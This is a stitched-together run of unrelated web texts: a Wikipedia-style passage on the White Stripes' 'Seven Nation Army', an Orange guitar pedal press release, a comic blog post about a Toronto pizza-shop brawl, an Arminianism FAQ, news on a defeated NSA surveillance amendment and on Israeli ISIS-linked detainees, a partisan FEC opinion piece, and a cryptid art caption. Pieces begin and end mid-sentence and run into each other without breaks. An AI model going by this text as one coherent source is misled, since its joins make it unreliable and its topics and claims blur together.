John Mulvey of NME described "Seven Nation Army" as a "diatribe against fame".[14] The song's lyrics were inspired by the growing attention received by the White Stripes. According to Jack White, the song tells the story of a person who, upon entering a town, hears its residents gossiping about him and proceeds to leave the town in response. Driven by a sense of loneliness, he ultimately returns. Regarding the song's meaning, White stated, "The song's about gossip. It's about me, Meg and the people we're dating."[2] Maginnis described the lyrics as presenting an "obstinate attitude", citing the opening lines: "I'm gonna fight 'em off/ A seven nation army couldn't hold me back/ They're gonna rip it off/ Taking their time right behind my back".[9]
Release [ edit ]
Jack White's idea of releasing "Seven Nation Army" as a single was initially opposed by the White Stripes' record labels, who wanted to release the song "There's No Home for You Here" instead.[15] Jack White ultimately succeeded in persuading the band's record labels to release "Seven Nation Army",[2] and in 2003 the song was released as a promotional single alongside Elephant track "In the Cold, Cold Night".[16] It was subsequently released as a 7-inch vinyl single and a CD single; the former included a cover of "Good to Me"—written by Brendan Benson and Jason Falkner[5]—as its B-side, while the latter included both "Good to Me" and folk song "Black Jack Davey".[16] The photograph used as the album's artwork was taken by Patrick Pantano; it includes an elephant painting made by Greg Siemasz.[5]
"Seven Nation Army" was later made available for digital download.[10][17] On January 3, 2014, Third Man Records announced a limited edition clear 7-inch vinyl reissue of "Seven Nation Army" as part of a package for subscribers to its Vault service.[18][19] A black 7-inch vinyl reissue with updated artwork was released on February 27, 2015.[19]
Music video [ edit ]
The video, directed by Alex and Martin, consists of one seemingly continuous shot through a kaleidoscopic tunnel of mirrored black, white and red triangles, touching on Jack's love of the number three. The triangle slides alternate between images of Jack or Meg playing, interspersed with marching skeletons and an elephant, referring to the name of the album "Seven Nation Army" appeared on. The speed at which the triangles move forward through the tunnel speeds up and slows down in unison with the dynamics of the song. During the video, when the song begins to intensify, the lights in surrounding the triangles flash and other effects build up as well.
The music video received four nominations for Best Group Video, Best Rock Video, Best Visual Effects and Best Editing at the 2003 MTV Video Music Awards, winning the latter one.
Reception [ edit ]
"Seven Nation Army" received widespread critical acclaim. The song won the Grammy Award for Best Rock Song at the 46th Annual Grammy Awards,[20] and in 2003, it was ranked number three on Pazz & Jop based on music critics' votes.[21] Heather Phares of AllMusic described it as a "breathtaking opener" to the album Elephant,[22] and Bram Teltelman of Billboard suggested that "adventurous rock programmers might want to join the 'Army'".[12] In particular, "Seven Nation Army"'s central riff has been the subject of praise since the song's release. A writer for Rolling Stone described it as the best riff of the 2000s decade,[23] and Rebecca Schiller of NME wrote that the riff is "the most maddeningly compulsive bassline of the decade, and not even actually played on a bass guitar".[24] Critics also praised Meg White's drumming—a "hypnotic thud" according to Tom Maginnis of AllMusic.[9] Teltelman described the drumming as "simple but effective",[12] and Phares said it was "explosively minimal".[22]
Critics compared the song to the White Stripes' other work. According to Teltelman, "Seven Nation Army" represented an effort to "defy categorization", especially the garage rock label that had been attributed to the band. He further wrote that it was "much more of a straightforward rock song" than the band's 2002 single "Fell in Love with a Girl".[12] Phares found "Seven Nation Army", along with "The Hardest Button to Button", to "deliver some of the fiercest blues-punk" of any song by the White Stripes,[22] and Alex Young of Consequence of Sound viewed it as the band's best song.[25]
Critics ranked the song among the best tracks of the 2000s decade; it appeared on NME's,[26] Rolling Stone's,[23] WFNX's,[27] and Pitchfork's[28] retrospective lists, and it was placed at number one on Consequence of Sound's "Top 50 Songs of the Decade".[25] "Seven Nation Army" appeared on Triple J's greatest songs ranking based on audience votes,[29][30] and listeners ranked the song number six on BBC Radio 6 Music's "Top 100 Greatest Hits" after being presented with an unranked best songs list that the station had created.[31]
In March 2005, Q magazine ranked "Seven Nation Army" at No. 8 in its list of the 100 Greatest Guitar Tracks.[32] It was also called the 75th greatest hard rock song by VH1. In May 2008, Rolling Stone placed the song at No. 21 in its list of the 100 Greatest Guitar Songs of All Time.[33]
On Rolling Stone's updated version of its The 500 Greatest Songs of All Time in 2010, "Seven Nation Army" was listed at No. 286.[34]
Commercial performance [ edit ]
On March 8, 2003, "Seven Nation Army" debuted at number 27 on the Billboard Modern Rock chart;[35][note 2] on July 16, it peaked at number one, a position it maintained for three weeks.[37] The song entered the Billboard Hot 100 chart on May 24, peaking at 76 that week.[38][39] It debuted at number 38 on Billboard's Mainstream rock chart on July 12, and it reached its peak position of 12 on November 8.[40][41] It charted at number one on Canadian television channel Much's MuchMusic Countdown for the week starting July 18, 2003.[42]
The song debuted on the UK Singles Chart on May 3, 2003 at number seven, its peak position.[43] It also reached the UK Indie Chart and Scottish Singles Chart the same week. The song debuted on the former at number one and remained at that position for another week, and it debuted and peaked at number six on the latter.[44][45][46] On May 1, it debuted on the Irish Singles Chart, where it peaked at number 22.[47] On June 22, the song debuted on the Australian Singles Chart at its peak position of number 17.[48] It debuted on the Official German Charts at number 69 on June 27; it peaked at number four two weeks later.[49]
"Seven Nation Army" continued to chart intermittently years after its release. The song debuted at number four on the Federation of the Italian Music Industry (FIMI) chart on July 27, 2006, and it peaked at number three a week later.[50] On June 29, 2008, it debuted at number 18 on the Swiss Hitparade chart, where it ultimately peaked at number four; it reentered this chart several times afterward, most recently in 2013.[51] The song debuted at number 23 on the Ö3 Austria Top 40 chart on July 4, 2008, and it peaked at number 18 the next week; it later entered the Ö3 Austria Top 75 chart for one week on February 3, 2012.[52] The song also entered the French Singles Chart on multiple occasions from 2013 to 2018, peaking at number 48 on February 23, 2013.[53] It debuted on the Billboard Hot Rock Songs chart on January 18, 2014, peaking at number 12 during its first week.[54][55]
The song was awarded several certifications in the 2010s. It was certified gold by Germany's Federal Music Industry Association in 2010, indicating over 150,000 sales of the single.[56] In 2013, the British Phonographic Industry awarded "Seven Nation Army" a silver certification; after receiving a gold certification two years later, the song was certified platinum in 2017 for selling over 600,000 copies.[57] The song was certified gold by the FIMI in 2014; three years later, it received a platinum certification, having sold over 50,000 copies.[58]
Cultural impact [ edit ]
"Seven Nation Army" played a significant role in the White Stripes' popularity. A writer for Rolling Stone described it as a "career-changing hit",[23] and NME's Daniel Martin viewed the song as the White Stripes' "defining tune", having sparked the band's transition "from their garage rock beginnings to an entirely new level of acclaim".[2] In addition, "Seven Nation Army" contributed to the garage rock revival movement,[9] becoming the first song in the genre to reach number one on Billboard's Modern Rock chart.[59][note 2] After its initial run on music charts, the song—especially its riff—grew in popularity as a result of its usage in sports. In 2012, Deadspin's Alan Siegel described the "riff-turned-anthem" as "ubiquitous",[3] and according to The New Yorker's Alec Wilkinson, the riff "might be the second-best-known guitar phrase in popular music, after the one from 'Satisfaction'".[60] Erik Adams of The A.V. Club attributed the song's popularity to its riff's "simplicity"—a characteristic that he remarked makes the song "instantly familiar" and "instantly memorized"[61]—and Nate Sloan said that the four notes following the riff's first note create a feeling of "urgency that makes [the riff] much more memorable".[13]
The song has also appeared in various other media. It was featured in Ken Burns' 2010 baseball documentary The Tenth Inning,[citation needed] and it appears as a playable track in Guitar Hero: Warriors of Rock as well as in Guitar Hero Live's online GHTV mode.[62][63] In 2016, video game company EA used the Glitch Mob remix of the song in a trailer advertising Battlefield 1. A surge in streams and digital sales of the White Stripes' version of "Seven Nation Army" followed the release of the trailer: within two weeks, the total number of streams and digital purchases of the song increased by 146 percent and 332 percent, respectively.[64] On May 9, 2014, during the celebration of the 825th Hamburg Port Anniversary, "Seven Nation Army" was played using the horns of cruise ship MSC Magnifica as it entered the harbor.[65]
In 2018, a deeply modified version of the original riff is used as background music played by Indian musicians with traditional instruments in the opening moments of the third episode of the second season of "Westworld", in a scene taking place in a park depicting Victorian-era colonial India.
Sporting events [ edit ]
According to Alan Siegel of Deadspin, "Seven Nation Army"'s riff is "an organic part of sports culture".[3] The riff is commonly used in sports audience's chants, in which each note is usually sung using the "oh" sound.[13] This phenomenon has its roots in a UEFA Champions League soccer game in Italy in October 2003, during which fans of Belgium's Club Brugge KV began singing the riff in a game against Italy's A.C. Milan. They continued the chant after Club Brugge KV striker Andrés Mendoza scored a goal. Club Brugge KV won the game, and the song subsequently became the team's "unofficial sports anthem".[13][3] After A.S. Roma won against Club Brugge KV at a soccer match in Belgium in 2006, fans of the former team began to use the riff as a chant, having learned it from the latter. Fans of the Italy national football team proceeded to chant the riff at games leading up to the 2006 FIFA World Cup,[13] and "Seven Nation Army"—known as the "po po po po po" song among Italians[3]—became the team's "unofficial theme".[3] After Italy won the 2006 FIFA World Cup Final, the riff was sung in Rome's streets.[3] Regarding the song's popularity in |
, even at extreme settings, the Bax Bangeetar never loses definition. For live use, the on-board clean Boost function adds an extra 5dB for solos.
More impressively, with none of the back-to-back diode circuitry commonly found in drive pedals, the Bax Bangeetar feels and behaves just like an Orange amp, delivering natural breakup - and a serious kick - without any hint of stifling compression.
Beyond its unique and flexible gain structure, however, the Bax Bangeetar’s extensive tone tweaking capabilities really set it apart. The Baxandall EQ and full parametric mid controls allow for complete command over a broad frequency range, enabling players to sculpt their sound to suit any style. With controls for Q, centre frequency and cut/boost, the midrange response is literally infinite, from subtle peaks to broad ‘scoops’. Even remove problem frequencies inherent in certain guitar and amps altogether!
True to form, Orange has also bucked the ‘true bypass’ trend and developed its own ultra-transparent buffered bypass. This supremely linear circuit ensures absolutely no loss of signal integrity, even with long cable runs or when driving large pedal boards. Critical to the bypass (and the overall design) is the internal charge pump. This doubles the pedal’s voltage for more clarity, more clean headroom and more output, whilst always maintaining the instrument’s character.
The Bax Bangeetar also features a second ‘CabSim’ output which recreates the sound and response of Orange’s 40th Anniversary PPC412 cabinet loaded with Celestion G12H 30 speakers. Combined with the pedal’s far-reaching tone shaping options, the CabSim makes this preamp a perfect aid for direct recording.
Whether used at home, on stage or in the studio, with its enormous sonic capabilities, precise EQ and all-round flexibility, the Bax Bangeetar is one of the most versatile pedals ever created.
Visit the Orange Amplification booth C45 Hall 4.0 at Musikmesse 2015 to see the new Custom Shop Bax Bangeetar guitar pedal and other new products, or visit www.orangeamps.com.It's a bit of a cliche that nothing "good" happens after 2 AM, but it's also a lie. Take, for example, this glorious brawl at Toronto's most ubiquitous pizza joint chain earlier this week.
It has all the makings of The Perfect Viral Video. There's no context, but no context is needed. There are many punches thrown, but no one seems to get hurt. The fighting mostly involves women, but there's no apparent misogyny, just some bemused boyfriends. It features at least one guy who knows he is in the middle of a viral video and makes a run for the GOAT brawl throne. It features the resigned face of a Pizza Pizza worker who can't be older than 25 and yet looks like he's too old for this shit.
Our story begins in Toronto, Ontario, home to 2 AM last calls and not a lot of great food options to coax off tomorrow's hangover. What we do have here is a Pizza Pizza seemingly near every major intersection that has a bar scene. And when you stuff a bunch of people into a small restaurant all with the same goal (order slice, order dipping sauce, don't get it on your shirt, sleep with the nearest person, accomplish this all within 15 minutes) tensions are going to run high. In pizza joint brawls, no one is to blame, there are no winners or losers, there's just the game.
While this particular brawl took place at Queen and Broadview (Toronto's family-friendly east side) at roughly 3 AM Sunday morning, I would like to think this could happen anywhere. We all have our differences, but when it's 3AM we all want the same things.
As all great videos start, we begin with the orientation on its side and there's the momentary feeling among the user of 'I sat through five seconds of an ad for this shit?' but that feeling passes quickly as the screams draw you in and our videographer gets his shit together.
We have a couple decent moves in the first few seconds. We have two women sliding off the counter, one guy (pay close attention to him) who runs into the fray holding a pizza box, one solid headlock and a thin boyfriend making this face.
He's loving it! is the caption I am forced to write.
At the 20 second mark, we have our first recognizable audio clip over the screams. "My shoe! My shoe!" someone yells, who is either getting his yeezys stomped on or is providing "ironic" colour commentary from the safety of the back.
Have you ever been in a brawl or at least witnessed one? It is a scientific fact that in every single fight involving four or more participants there is one small person who does two things—instigates and punches someone in the back of the noggin.
At the 24 second mark, we meet our Scrappy Underdog. She's five feet in platforms, but she's got spunk and personality and tries her best and knows that someone will pull her out of harm's way before she gets into much trouble.
It's also at this point that I wish we had multiple camera angles of this little shindig because the camera guy can't decide where to focus on as the brawl splits into three separate dustups. Some nonsense is going on and honestly the next 10 seconds are not worth talking about except that we are introduced to one of the other characters in the brawl—The Peacemaker. As I've previously written about in my brawl coverage, every proper brawl has one person who is the middle of it all and truly, deeply, madly wants to break the fight up—while only really making it worse by delaying the inevitable. You wanna peacekeep, let the idiots duke it out and break it up before anyone gets seriously hurt/winded.
"I ended the fight! I ended the fight," she yells over someone else yelling "What the fuck!"
AND MY GOD, HERE COMES SCRAPPY UNDERDOG WITH A CHAIR!
He's not having it.
Fortunately, her valet, a bemused dude who definitely came from that nearby "country" bar, puts a stop to the madness before this video takes an ugly turn. I mean, look at that man's happy face. At this point, he's winning this viral brawl video.
Enter area man, stage right. He casually walks into the frame, grabs his plugged in phone and presumably, goes back to his seat to start a live Instagram story with peace of mind that his battery can handle this to the bitter end. He is the Brawl Speculator, he doesn't have to go home so he will stay here. (Also, note our beloved videographer's giggles—dude can barely keep it together and it makes me think about assigning a story on how off-screen giggles and shaky handheld is the new laugh track. Get at me, freelancers.)
At the 1 minute and 15 second point, thin white boyfriend has had enough and realizes he's just keeping the patriarchy afloat by holding his girlfriend back. He's out!
Exit, stage right.
It's the calm of the storm now. All this yelling and tusslin' takes the piss out of our participants and we are now into the part where everyone is just trying to keep their feet. (Most Canadians will recognize this moment as where you think the referees are gonna step in two pull apart a couple of knuckleheads, but no, they have more in the tanks, so just let the boys go and tire themselves out and sit in the box and think about their lives and paycheques.)
"It's over," someone yells.
It is not.
From the east side in barrels The Strongest One, who knocks aside humans like bowling pins. It is glorious but not as glorious as the young woman who is at the counter just trying to get her damn pizza and then just laughs and trots out of the joint to tell the story in the Uber home.
The fight continues on (Oh lord, who has that energy at 3 AM) and we finally get to the moment we needed in this time of Trump, Trudeau's socks and the emo revival. From the ashes of our hope for humanity arises a Hero and it is this guy.
TFW you become legend.
With one arm he bearhugs Scrappy Underdog, who is just outclassed in this showdown, and with the other he acknowledges us, the viewer and embraces our bitter, shitty souls in the warmest of hugs. 'Look the beauty of humanity coming together in drink and grub and meme,' his arm says. He even gives us a Jordan tongue wag as to say 'I am the Greatest,' where a lesser man, in a lesser time, might have yelled 'World Star!'
Our Hero, like a good heroes involving lazy writers, has no backstory and we are not going to get one here. Whether he's a neurosurgeon or a line cook, this is his moment, and unlike most of us, he makes the most of it. Every single second he is in the frame reminds us there is Good in this world and there will always be a viral video for you when you feel like there is nothing but Bad.
That dude is the GOAT, but just when you think this video has enough characters, we get another—the Guy Who Is Too Old for this Shit.
'I wasn't even supposed to be here today!'
Behind the counter is the real victim in this, our Pizza Pizza cashier. Dude is professional AF, he's seen this song and dance a hundreds times before and he is just bored of it all. Guy is working the counter at 2 AM, at probably not an amazing wage, and he just wants to go home, shower off the pizza smell, watch a little Netflix and sleep the fuck in. But he knows he has a job to do. He has to give drunk people pizza and he's not shutting the place down because a few people stepped on each other's toes, or looked at someone's SO in a funny way, or just was feeling horny and sad and therefore needed to drop the mittens with someone. When politicians talk about about 'the hard-working taxpayers' the are talking about this guy—the guy who deals with assholes all day long but shows them the respect they don't deserve. So you know what you can do the next time you grab a poutine or shawarma after the bar? Leave them a buck or two, you tipped the bartenders all night just so the poor overnight cashier could be the one to clean up your sorry mess.
"It's so good," chimes our cameraman at the 3:26 mark, knowing he has some quality material on hand. (Worth noting the omnipresent CP24 in the background here, given this video went up with an email address for 'licensing.')
It gets a bit mean shortly afterwards as one young lady starts yelling 'Pizza Pizza/Broke Ass Bitches" at her enemies as they retreat, which admittedly is catchy and remixable, but is not necessarily as catchy as '11-11, Pizza Pizza."
With our combatants having left the place, our video comes to the close as it should, with GOAT running around the place collecting praise and fist bumps. "You are my favourite," says someone off-camera like he just met the wacky neighbour in a sitcom.
And then it ends like it should with someone yelling "dipping sauce." And just like dipping sauce at 2 AM, it's perfection.
Now back to...omg, there's a SECOND VIDEO.
Yes, it's an undisclosed period of time later, but using my 10 years of journalism skills, I can tell you it's within a couple minutes, given everyone is sitting at the same tables.
Both sides are back at it and they are brawling in foyay and it's distressingly authentic. And god love her, Scrappy Underdog is STILL trying to get in there. It's worth noting at this point, we are at a minimum—six minutes—into a brawl at the most popular pizza place at major intersection. Where's da cops?
You know that point when you come out the afterparty and the sun is starting to come up and you feel sweaty and dirty and tired. Well, that's what Part 2 of this video is. The fun is over, this is exhausting to even just watch now even when our GOAT comes back for more handshakes and two buddies compete to swoon over him.
"You are the hero of the day," Buddy One says.
"You made my night," Buddy Two says. (Advantage: Buddy Two.)
"Where's our food?" asks another.
So, here's where we come to our coda (there's a third video of the cops fixing this situation up. They charged one person with public intoxication but no one for the fight.)
As reported by Torstar, a witness says this pizza joint line brawl all started when someone started yelling in the middle of the restaurant that their order wasn't ready and jumped over the counter and started throwing chips.
Yes, it appears this brawl started when someone wanted to protect the honour of Pizza Pizza and our noble cashier. That's not a tip, but it's a close second.
Follow Josh Visser on Twitter.Arminianism FAQ 1 (Everything You Always Wanted to Know…)
Today begins a summer series on Arminianism and Arminian theology. Over the past twenty plus years of promoting a correct understanding of classical Arminianism I have been asked numerous questions about the subject. There seems to be much misunderstanding about it. Here, in this series of blog posts, I will try to answer every “frequently asked question” about classical Arminianism. My aim is to keep the questions and answers clear, concise and crisp.
For those of you who are not sure about my credentials for answering questions about classical Arminianism with any authority, I can only say I have been an Arminian all my life and have dedicated the past twenty years (at least) to studying and explaining it—including in my book Arminian Theology: Myths and Realities (InterVarsity Press).
FAQ: What is “classical Arminianism?” A: “Classical Arminianism” has nothing to do with “Armenia.” It is a type of Christian theology especially associated with 17th century Dutch theologian Jacob Arminius (d. 1609). However, I also refer to it as “evangelical synergism” (“synergism” here referring to “cooperation” between God and creature) because Arminius’ beliefs did not begin with him. For example, Anabaptist theologian Balthasar Hubmaier promoted much the same view almost a century before Arminius. In brief, classical Arminianism is the belief that God genuinely wants everyone to be saved and sent Christ to live, die and rise for everyone equally. It is the belief that God does not save people without their free assent but gives them “prevenient grace” (grace that goes before and prepares) to liberate their wills from bondage to sin and make them free to hear, understand and respond to the gospel call. It is the belief that God’s grace is always resistible and election to salvation, “predestination,” is conditional: God decrees that all who believe will be saved and foreknows who will believe. Classical Arminianism is a form of Protestant theology, so it assumes (in all of the above) that salvation is a free gift of God’s grace that cannot be merited; it can only be accepted. According to Arminius and all classical Arminians, God’s justification of sinners is “by grace through faith alone” and solely on account of the work of Christ. God’s grace in and through Jesus is the effectual cause of salvation/justification, but faith is the instrumental cause.
FAQ: Is Arminianism a sect or denomination? A: It is not, but there are denominations that either assume classical Arminianism as their theology of salvation and/or have written it into their doctrinal confessions. John Wesley, the founder of Methodism, was an Arminian as were most of his followers. Methodism, in all its forms (including ones that do not bear that name), tends to be Arminian. (Calvinist Methodist churches once existed. They were followers of Wesley’s co-evangelist George Whitefield. But, so far as I am able to tell, they have all died out or merged with traditionally Reformed-Calvinist denominations.) “Officially” Arminian denominations include ones in the so-called “Holiness” tradition (e.g., Church of the Nazarene) and Pentecostal one (e.g., Assemblies of God). Arminianism is also the common belief of Free Will Baptists (also known as General Baptists). Many “Brethren” churches are Arminian as well. But one can find Arminians in many denominations that are not historically, “officially” Arminian such as many Baptist conventions/conferences.
FAQ: Why identify a theology with a man’s name? Why not just be “Christians?” A: This would be ideal, but it is too late for that. Arminians do not venerate Arminius; he was nothing more than an especially clear expounder and defender of a biblical perspective on salvation. Arminians only use that label to distinguish themselves from Calvinists and Lutherans—two Protestant traditions that, historically-theologically, hold to what is known as “monergism” and reject all forms of “synergism” in salvation. (“Monergism” is the belief that salvation does not involve a cooperation between God and the sinner; God saves without the sinner’s free consent.) Arminians put not stock in the label “Arminianism.” Many do not even use it. However, it is a theological category and label often misrepresented by its critics (especially conservative Calvinists), so those who know they are Arminian feel the need to defend it against false accusations and misrepresentations. Some who do that prefer to call themselves simply “non-Calvinist,” but that is no better than “Arminian” and is less clear (because Lutherans, for example, are also “non-Calvinist” but agree are often just as opposed to Arminian belief in evangelical synergism as are Calvinists). Arminians are not a movement, party or tribe of Christians. They are simply Protestant Christians who, unlike many others, believe in grace-restored freedom of the will to resist or accept saving grace.
FAQ: Why is there now a rising interest in Arminianism? Why have blogs and books about a “man-made theology?” A: Beginning around 1990, Arminianism and Arminian theology came under new pressure from outspoken proponents of Calvinism—belief that God elects people to salvation unconditionally and that Christ died only for the elect and saving grace is irresistible. These new, aggressive Calvinists were not willing to take a “live and let live” approach to evangelical differences of theology but have attempted to marginalize, even sometimes exclude, Arminians from evangelicalism—portraying Arminianism as more “Catholic” than truly “Protestant.” One leading Calvinist theologian, editor of an evangelical monthly magazine, said in print that one can no more be an “evangelical Arminian” than one can be an “evangelical Catholic.” Over the past twenty-to-thirty years Calvinism has been on the rise in especially American evangelical Christianity and along with that rise has come an increasingly negative portrayal of Arminians as defective Christians and not truly, authentically evangelical. American evangelicalism had long been ecumenical—including Protestant Christians of many theological perspectives. Now, suddenly, many Reformed/Calvinist evangelicals were calling Arminianism “humanistic,” “man-centered,” “heterodox,” “on the precipice of heresy,” “not honoring the Bible,” etc., etc. Gradually, evangelical Arminians felt the need to defend their theology against misconceptions, misrepresentations and distortions. Every theology is “man-made,” including Calvinism. But that is not to say theologies are solely human inventions. They are people’s best attempts to interpret the Bible under the guidance of the Holy Spirit, Christian tradition and reason. Many Calvinists claim that Calvinism is a “transcript of the gospel,” but Arminians reject that claim for any theology including Calvinism and Arminianism. We (theologians, interpreters of the Bible) are but “broken vessels” (as the Apostle Paul called himself) seeking to follow the light of God’s Word wherever it leads.
FAQ: Isn’t there a “middle ground” between Calvinism and Arminianism? A: No, there isn’t, not that is logically coherent. In fact, Arminianism is the middle ground between Calvinism and “semi-Pelagianism” which is the heresy (so declared by the Second Synod of Orange in 529 and all the Reformers agreed) that sinners are capable of exercising a good will toward God unassisted by God’s grace. With semi-Pelagianism (still an extremely popular view in American Christianity) Arminians believe sinners have free will, but with Calvinists Arminians believe free will in matters of salvation must be given by God through prevenient, assisting grace. Left to themselves, without the liberating power of grace, sinners will not exercise a good will toward God, but under the pressure of liberating, enabling grace many do reach out to God who has already reached down and into them, calling them to repent and believe. Against semi-Pelagianism and with Calvinism Arminianism believes and teaches that the initiative in salvation is God’s and that all the ability in salvation is God’s. But against Calvinism and with semi-Pelagianism Arminians believe sinners can resist God’s grace and, in order to be saved, must accept it freely.An amendment that seeks to protect against "backdoor" surveillance was defeated Thursday after passing two years in a row. (Brendan Smialowski/AFP/Getty Images)
U.S. citizen Omar Mateen’s murder of 49 people at a Florida nightclub on Sunday appears to have doomed a legislative push to rein in warrantless surveillance with defeat of an amendment that twice passed by wide margins.
The amendment offered by a diverse group of Republican and Democratic lawmakers to ban two types of “backdoor” surveillance on Americans was defeated in a 222-198 vote on Thursday.
Last year, the House passed the measure in a 255-174 vote after an even more lopsided 293-123 victory in 2014. After both votes, the amendment was not considered by the Senate and was axed in budget deals brokered by more hawkish congressional leaders.
The pivot in the House against enhancing privacy protections in the face of mass surveillance is one of the first congressional repercussions of the most deadly mass shooting in modern U.S. history.
The once-popular two-page amendment would have prohibited funds in the annual defense spending bill from being used by the NSA and CIA to foist surveillance-facilitating product redesigns on tech companies or to perform warrantless searches of U.S. internet records collected under Section 702 of the Foreign Intelligence Surveillance Act.
The amendment’s primary sponsors, Reps. Thomas Massie, R-Ky., and Zoe Lofgren, D-Calif., said the measure would merely restate what the Fourth Amendment requires and protect the country by keeping encryption from being weakened to the benefit of criminals and others.
Mateen’s citizenship featured prominently in debate on Wednesday ahead of the vote, with opponents of the reform saying it would needlessly tie the hands of U.S. authorities.
Rep. Chris Stewart, R-Utah, claimed the amendment was motivated by “false and irresponsible allegations of government spying on Americans.”
Stewart, a member of the House intelligence committee, said “if this amendment were in effect today, the intelligence community would be unable to query the 702 database for the names of the Orlando nightclub attacker, for his wife or even the nightclub itself.”
House Judiciary Committee Chairman Bob Goodlatte, R-Va., made similar claims.
“This amendment prohibits the government from searching data already in its possession collected lawfully under Section 702 of FISA to determine whether Omar Mateen was in contact with foreign terrorists overseas,” Goodlatte charged.
He added, appearing to pick at the precise amendment wording: “Despite the characterization by proponents of the amendment that a search could occur if the government has obtained a FISA or criminal probable cause based order, the exception does not in fact authorize such a query.”
There are two primary NSA surveillance programs under Section 702. “Upstream” collection siphons communications directly from cables, switches and routers that make up the internet’s backbone. The PRISM program takes records directly from companies like Facebook and Google.
Section 702 authorizes surveillance of foreign intelligence targets living overseas, but when communications of U.S. citizens are collected they can be stored and searched without a warrant.
In 2015, intelligence agencies including the NSA and CIA – but notably not including the FBI – targeted an estimated 94,368 individuals under Section 702, according to a transparency report issued in response to whistleblower Edward Snowden’s 2013 disclosures.
An estimated 4,672 search terms were used last year to target U.S. persons – a term that includes citizens and permanent residents – and 23,800 queries were performed concerning a known U.S. person, according to the report.
It’s possible the number of search terms and queries affecting U.S. persons is much higher, as the FBI investigates terror plots within the U.S.
Rachel Brand, a member of the presidentially appointed Privacy and Civil Liberties Oversight Board, said at a hearing last month the FBI doesn't track the number of queries it performs because the information is contained in a database that contains other records, which can be searched as a preliminary step in investigations.
Brand testified that the FBI does not use "upstream" intercepts collected under Section 702, a legal provision set to expire late next year.
Republican Rep. Ted Poe of Texas, who joined Massie and Lofgren in speaking in favor of the amendment, pushed back against criticism Wednesday, though it was as futile as privacy advocates speaking against the Patriot Act after 9/11.
“[Section] 702 was designed to go after the bad guys overseas, but it’s being used to collect communications of Americans in America without a search warrant under the Fourth Amendment,” he tsked. “[The amendment] says the Constitution must apply to Americans, and fear tactics from the other side, I’m sorry, don’t change the facts.”
After the vote, Massie told U.S. News he found it "somewhat ironic that the Democrats hoped to use the event in Orlando to erode the Second Amendment while Republicans have gone against the Fourth Amendment.”
Massie says he’s considering splitting the “backdoor” amendment in two, as the ban on forced encryption vulnerabilities found little spoken opposition – though he disagrees with Goodlatte’s claim the measure could have barred access to Section 702 records even with a court order.
The libertarian lawmaker says the timing isn't right now, but that some future revelation about abuse of surveillance powers, perhaps from a whistleblower, could give reformers new momentum ahead of next year's debate on whether to renew Section 702.
“This is a textbook case of how a current event can shape political opinion,” Massie says. “But just as easily as the winds shifted against us, they can shift for us at some point in the future.”
Updated on June 16, 2016 : Reaction from Thomas Massie was added to this article.As traditional media prepared to vacate newsrooms for the weekend, Democrats snuck in a last minute proposal that the Federal Elections Commission (FEC) be allowed to heavily regulate political content on internet sites such as Youtube, blogs, the Drudge Report and Tulsa Today.
Obama FEC Vice Chairperson Ann M. Ravel announced late on Friday that the FEC was preparing new regulations to give itself control over videos, Internet-based political campaigns, and other content on the web. She insisted that, “A reexamination of the commission’s approach to the internet and other emerging technologies is long overdue.”
This snap decision came after the FEC deadlocked 3-3 over whether or not an anti-Obama Internet campaign in Ohio had violated FEC campaign disclosure rules. The videos were placed for free on Youtube and were not paid advertising, but they also did not disclose who made them.
Until now, videos and other political content that is not posted for a fee are unregulated by the FEC. Only paid advertising is regulated under election rules. It is this that the Democrats want to change.
“FEC Chairman Lee E. Goodman, a Republican, said if regulation extends that far, then anybody who writes a political blog, runs a politically active news site, or even a chat room could be regulated,” the Washington Examiner reported on October 24.
“I have been warning that my Democratic colleagues were moving to regulate media generally and the Internet specifically for almost a year now,” Goodman told FoxNews.com. “And today’s statement from Vice Chair Ravel confirms my warnings.”
Click here for more from Breitbart.com.
Our Story
Tulsa Today is the oldest independent online local news service in the world.
Established in 1996, we have always produced original content and solicited dissenting diverse perspectives. Over the years, Leftists have faded from regular publication here primarily because their positions lack intellectual honesty, scientific and historical facts. Typically, they resort to anger and personal attacks when their policy positions are challenged. As this publisher is conservative, I have been attacked physically and this site hacked on multiple occasions.
In September 2012, a hacker began exploiting a known weakness in our then PHP based programing. Every day, we applied the patch to fix the site and the next day the hack was back. This continued daily until the tropical storm “Sandy” rolled onto the East Coast of America and, on that day, that particular hacking effort forever ceased.
Other hack attacks have been identified from Russia and China, but those are more easily defeated as they primarily seek to sell product “knock-offs.” The East Coast hack is more troubling in that the timing appears specific to the U.S. Elections.
In short, if some totalitarian personality is motivated personally in New Jersey to spend their time daily hacking a small site of free speech in the middle of fly-over country then there is a problem with Free Speech in America.
More dangerously, if totalitarian personalities continue to control the Democrat Party, ignore the U.S. Constitution and betray the Rule of Law then the Freedom generations of Americans have fought and died to protect will be gone. We will be gone – maybe one early dark morning as a SWAT team rolls through our front doors. Tyranny always eliminates the independent writers of contrary opinion first, but by that time they usually have regulations and law on their side.
This FEC effort is the beginning of the murder of Freedom – the first of many cuts by which individual Liberty and civil societies bleed to death.
For more click here for The Gods of the Copybook Headings by Rudyard Kipling (1865-1936).An art-design of the legendary: Sheepsquatch of West Virignia - also known as the "White Thing", is a woolly-haired cryptid reported across numerous counties in West Virginia, predominantly within the southwestern region of the state. The counties with the most sightings are Boone, Kanawha, Putnam and Mason, with a surge in sightings taking place in Boone County during the mid-1990s. It is described as being a quadruped about the size of a bear, with entirely white wool-like fur. It has a long and pointed head, similar to a dog but with long, saber-like teeth and a single-pint set of horns not dissimilar from those found on a young goat. Its forelimbs end in paw-like hands, similar to those of a raccoon but larger, while its tail is long and hairless like that of an opossum. It is reputed to smell like sulfur, which has been attributed through folklore to the beast being born within the TNT Area in Mason County like one of the Mothman theories, though this is not likely and instead may be a musk scent gland similar to those found in many species in the order Carnivora such as weasels and skunks.Luke Kegley © 2017.Tel Aviv- At least 83 Palestinians and Israeli-Arab prisoners or detainees are currently held in Israeli prisons on suspicion of activities or links to Salafist jihadist groups, marking a sharp increase from the 12 prisoners held on such charges at the end of 2015.
Most of those arrested were influenced by either ISIS or al-Qaida, and the detainees included both Arab citizens of Israel and some Palestinians from the West Bank, and in most cases, were arrested over Internet contact with ISIS agents abroad or for planning attacks thwarted by Israeli security services.
In other cases, suspects were arrested while attempting to travel to Iraq or Syria to join the ranks of ISIS abroad, while in a handful of other cases, suspects were arrested upon their return to Israel after fighting alongside the group.
Despite the sharp rise in the number of suspects arrested over links to ISIS, Israeli defense officials say only a minority of them have any true connections to the terrorist group.
